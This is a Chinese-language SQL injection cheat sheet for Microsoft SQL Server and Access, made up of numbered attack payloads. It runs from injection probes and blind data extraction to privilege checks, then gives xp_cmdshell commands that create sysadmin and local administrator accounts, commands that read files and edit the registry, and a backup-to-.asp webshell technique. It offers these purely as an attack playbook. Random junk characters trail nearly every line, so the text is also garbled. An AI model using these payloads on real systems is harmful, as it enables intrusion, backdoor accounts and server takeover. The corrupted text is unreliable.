1.判断是否有注入;and 1=1 ;and 1=2 =nL*/
2.初步判断是否是mssql ;and user>0 m[7:p{
&s;%(c04A
3.注入参数是字符'and [查询条件] and ''=' mVL,J=2
< 5_Ys
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9FLn7Y
uN(~JPAw5
5.判断数据库系统 v!U# C[a^
|8`;55G
;and (select count(*) from sysobjects)>0 mssql TgB;R5
PrKlwhi#
;and (select count(*) from msysobjects)>0 access QF;<%QF:
NU(/Yit
Y-c~"#
)Z%+~n3o'
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ipp_?5TL
hCvn(f
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 yK7>^p}V
_TXV{<E6
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 omA*XXUx=8
Y#Vy:x[
9.(1)猜字段的ascii值(access) G\p;
bUF
rlIEch^wZ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 t3>rf3v
YPy))>Q>cK
(2)猜字段的ascii值(mssql) G([vy#p
E$>e<
T
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {G0)mp,
mfN@tMp
10.测试权限结构(mssql) bgK(l d`
rpT<cCem1
>oNk(.
%
Z%{f[|h9}
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- GDB>!ukg
U44H/5/
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )x7hhEk=^
*vO'Z &
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- piFQ7B
e,*[5xQ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- OA=;9AcZ
19u?^w
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ibc/x v2
Xh/av[Q
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~=mM/@HD
feW9>f;
;and 1=(select IS_MEMBER('db_owner'));-- p,8Z{mLn
bN&da
[K
VT7NWTJ,
"'#Hh&Us
11.添加mssql和系统的帐户 \-0` %k"&
rw2|1_AF
;exec master.dbo.sp_addlogin username;-- %S#"pKE6R
;exec master.dbo.sp_password null,username,password;-- L>b,}w
EG.C2]Fi
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- R7{hoqI2
4"{wga~%/
;exec master.dbo.xp_cmdshell 'net user username password .Cus t
(Qm;]?/
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- VC(|t} L4
sEN@q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 0cUt"(]
~m?~eJK#a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /,UkT*+>!
B,Brmn
B^?XE(.
i=oa"^c4
12.(1)遍历目录 o{LFXNcg[
`C?OAR44
;create table dirs(paths varchar(100), id int) 1W[(+TZ&s
Q9>]@DrAx
;insert dirs exec master.dbo.xp_dirtree 'c:\' Y%l3SB,5L
~Wm}M
;and (select top 1 paths from dirs)>0 5,ahKB8
$SVGpEw
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) )+,jal^7
" G6jUTt
8w[EyVHA
@EZONKT
(2)遍历目录 l5ds`uR#
q*nz4QTOE
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Gnt!!1_8L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 uP2a\C,$
K>6k@okO
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 s*~o%emw
tlgvBRH>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "'B%.a#k
[Mc5N
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]!aa#?Fc
J6ShIPc
A_~5|
mm-UQ\h
13.mssql中的存储过程 "\r~,S{:
H;|:r[d!
xp_regenumvalues 注册表根键, 子键 |uBC0f
a&"*UJk<?
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 H`lD@q'S
"@w%TcA
xp_regread 根键,子键,键值名 oD@jtd>b%
rI+w1';C1
;exec xp_regread D])YP0|}
>? eTbtP
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 jsd]7C
_lv:"/3R
xp_regwrite 根键,子键, 值名, 值类型, 值 =Fy8rTdk6r
8I0Tu
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 otD?J= B
*yq]
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 =L),V~b
qU*&49X
xp_regdeletevalue 根键,子键,值名 {WeXURp&nF
`lezJ(Xm
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 s[@>uP
=e8L7_;
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 n o+tVm|
)2Ru!l#
YQdX>k
&MZy;Sq
14.mssql的backup创建webshell 2RUR=%C
`Uj?PcS_
use model ##FNq#F
Wo+CQH6(
create table cmd(str image); S/<"RfVU#o
hdJwNmEA>
insert into cmd(str) values (''); [RPAkp
UW[{d/.wC
backup database model to disk='c:\l.asp'; xf"5<PTW</
E+ 3yN\X(
Df:7P>
!aw#',r8m
15.mssql内置函数 N^(lUba
l()MYuLNV
;and (select @@version)>0 获得Windows的版本号 apD=>O
o?mXxL)
;and user_name()='dbo' 判断当前系统的连接用户是不是sa N46$EsO!h
66@3$P%1p
;and (select user_name())>0 爆当前系统的连接用户 s7nX\:Bw:
h<'5q&y
;and (select db_name())>0 得到当前连接的数据库 tWSvxGCzn%
R =9~*9
A9l})_~i
~/jxB)t
16.简洁的webshell v;]I^Kq
/E{dM2
use model
-N7L#a
\btR^;_\A
create table cmd(str image); #>m,
Cm
+iH30v
insert into cmd(str) values (''); _p J_V>l
G9n /S=R?
backup database model to disk='g:\wwwtest\l.asp';